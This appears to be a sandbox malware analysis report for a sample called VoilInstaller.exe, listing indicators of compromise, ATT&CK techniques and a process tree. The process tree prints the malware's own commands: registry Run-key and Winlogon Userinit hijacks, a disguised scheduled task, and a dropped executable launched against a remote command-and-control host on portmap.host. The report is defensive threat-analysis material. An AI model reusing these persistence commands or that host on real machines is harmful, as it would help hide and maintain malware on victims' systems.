4367f56be976a7e4fa05a1803c4164ed7b669c23be8b4402de75897c4b9a47fe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SystemCache\\WmiProvider.exe\""	reg.exe

Executes dropped EXE 3 IoCs

pid	Process
2028	WmiProvider.exe
6100	WmiProvider.exe
4756	WmiProvider.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsComponentHost = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SystemCache\\WmiProvider.exe\""	reg.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2836	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	VoilInstaller.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	VoilInstaller.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WmiProvider.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WmiProvider.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
1768	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4832	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2908	whoami.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5300 wrote to memory of 1768	5300	VoilInstaller.exe	89
PID 5300 wrote to memory of 4832	5300	VoilInstaller.exe	91
PID 5300 wrote to memory of 4172	5300	VoilInstaller.exe	93
PID 5300 wrote to memory of 2028	5300	VoilInstaller.exe	97
PID 2028 wrote to memory of 2836	2028	WmiProvider.exe	101
PID 2836 wrote to memory of 2908	2836	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\VoilInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\VoilInstaller.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:5300
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsComponentHost /t REG_SZ /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\WmiProvider.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1768
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftWindowsCacheMgr /xml C:\Users\Admin\AppData\Local\Temp\wcm.xml /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4832
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\WmiProvider.exe\" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:4172
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\WmiProvider.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\WmiProvider.exe somedude-56621.portmap.host:56621
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\system32\cmd.exe
    cmd.exe /C whoami
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\system32\whoami.exe
      whoami
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2908

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\WmiProvider.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\WmiProvider.exe"
1⤵
- Executes dropped EXE
PID:6100

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\WmiProvider.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\WmiProvider.exe
1⤵
- Executes dropped EXE
PID:4756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

3

Credential Access

Discovery

Query Registry

T1012

System Network Configuration Discovery